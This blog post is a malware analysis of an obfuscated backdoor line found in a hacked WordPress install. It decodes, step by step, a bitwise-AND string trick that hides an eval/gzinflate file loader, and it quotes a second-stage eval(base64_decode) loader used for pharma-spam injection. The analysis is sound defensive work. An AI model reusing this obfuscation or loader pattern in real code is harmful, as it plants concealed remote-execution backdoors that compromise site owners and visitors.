Convert random-looking string into readable PHP, using bitwise operator, to reveal pharma hack

LED sign that reads: Do Something Great.
Definitely not a hacker's motto.

Today I came across an interesting piece of code in an archived WordPress 3.4.1 installation. At first it didn’t make much sense, but after careful examination, it wasn’t so random after all — malicious code never is.

In this post we're going to reverse-engineer the piece of "random" code to see what it does.

It looked something like this:

$lang = 'e~o~*'.Twzinf.'~g|u('.vylu_g.'}'.w_konum.'~'.wsjf.':))o{'&uwal.'|bo~'.onn
myvo.'.gk}'.g_wg.'|'._sooveots.'-:b/-9?';

There’s a variable called $lang consisting of several strings (e~o~*, ~g|u(, }) and constants (Twzinf, vylu_g, w_konum), but the thing is, those constants aren’t defined anywhere, so what is their purpose? In any event, the worst case scenario is that there is a variable with some gibberish, neatly tucked away in wp-includes/load.php, right?

Nope, otherwise this would conclude the blog post :).

Before we break down what this seemingly random piece of code does, here is what it actually looks like once PHP executes it:

$lang = eval(@gzinflate(file_get_contents("")));

I’ve removed the actual file path within the quotation marks, but you can immediately tell how dangerous this is, because it retrieves contents from an unknown file on the server, uncompresses it, and then executes whatever the file contains with no questions asked.

That’s a problem.

Let’s look at how PHP got there.

Simplifying a string of constants to a simple string

As I mentioned before, the line of code consists of strings and constants. Since the constants are not defined, PHP will throw a notice (which you most likely won’t see, as they’re usually disabled on production servers), which means PHP uses the constants as strings instead.

You could then rewrite that line of code to:

$lang = 'e~o~*Twzinf~g|u(vylu_g}w_konum~wsj:))o{'&'uwal|bo~onnmyvo.gk}g_wg|_sooveo
ts-b/-9?';

At this point, something in that string stands out: the ampersand. If you look back at the first line of code, you’ll notice that it wasn’t actually part of the string, but rather appeared to be part of the constant uwal, except for that it isn’t. When you see an ampersand sitting there by itself, PHP interprets it as a bitwise operator.

Now things get really interesting.

Understanding how the bitwise AND works

We have two strings separated by a bitwise AND operator, which allows you to perform arithmetic on two binary numbers. Learning about 01000110 in school was useful after all!

Wikipedia explains the bitwise AND operator as follows:

A bitwise AND takes two binary representations of equal length and performs the logical AND operation on each pair of corresponding bits. The result in each position is 1 if the first bit is 1 and the second bit is 1; otherwise, the result is 0.

If we look back at the line of code, you’ll see that both strings are, in fact, of equal length:

$string1 = 'e~o~*Twzinf~g|u(vylu_g}w_konum~wsj:))o{'; // 39 characters
$string2 = 'uwal|bo~onnmyvo.gk}g_wg|_sooveots-b/-9?'; // 39 characters

A mathematical operation is performed on each pair of corresponding bits, for example, the e and u, ~ and w, o and a, etc.

To confirm that this is what’s happening, let’s manually try calculating a pair of bits.

Converting a letter to its ASCII value

First, we need to convert the e and the u into their ASCII value. PHP has a function for that called ord(). If we pass each letter into that function, we get the following result:

$letter1 = 'e';
$letter2 = 'u';
$ascii1 = ord($letter1);
$ascii2 = ord($letter2);
echo $ascii1; // Prints 101
echo $ascii2; // Prints 117

Converting a decimal to its binary value

Second, we need to convert the decimal into binary value using a function called decbin(). Here’s the result of that:

$decimal1 = 101;
$decimal2 = 117;
$binary1 = decbin($decimal1);
$binary2 = decbin($decimal2);
echo $binary1; // Prints 1100101
echo $binary2; // Prints 1110101

Performing a bitwise AND

Third, we need to perform a bitwise AND. You compare the value of each corresponding pair and if both are 1, you get 1, but if either one is 0, you get 0. According to that logic, the result is this:

1100101
1110101
----------
1100101

Converting a binary number to a letter

Last, but not least, we convert the binary number back to a letter using bindec() and chr():

$binary3 = 1100101;
$ascii3 = bindec($binary3);
$letter3 = chr($ascii3);
echo $letter3; // Prints e

Let’s do one more pair:

$binary4 = decbin(ord('~')); // Contains 1111110 (126)
$binary5 = decbin(ord('w')); // Contains 1110111 (119)
$binary6 = $binary4 & $binary5; // Perform bitwise AND
1111110
1110111
----------
1110110
echo chr(bindec($binary6)); // Prints v

Now you have converted the first two letters of the eval() function. If you keep going, eventually you’ll end up with this:

eval(@gzinflate(file_get_contents("")));

Once PHP finishes performing the bitwise AND, it will evaluate whatever statements found in the file.

Additional notes

As a side note, the actual path of the file that was being fetched was /home/user/public_html/wp-includes/js/tinymce/themes/advanced/skins/default/img/US-Foodservice-220x278.gif, which contained the following:

global $data;
$data=unserialize(base64_decode("code_here"));
eval(base64_decode($data[5]));

The code_here was a base64 encoded string that contained an array of pages to target on the site, all of the pharmaceutical terminology, a sniffer to detect what type of visitor the user is (human vs. bot) and several functions to replace the real site content with ads and links.

Hopefully this walkthrough provided some insight as to how most of those malicious-looking code snippets work. If you have any questions, feel free to leave them in the comments below.

Featured image by Clark Tibbs.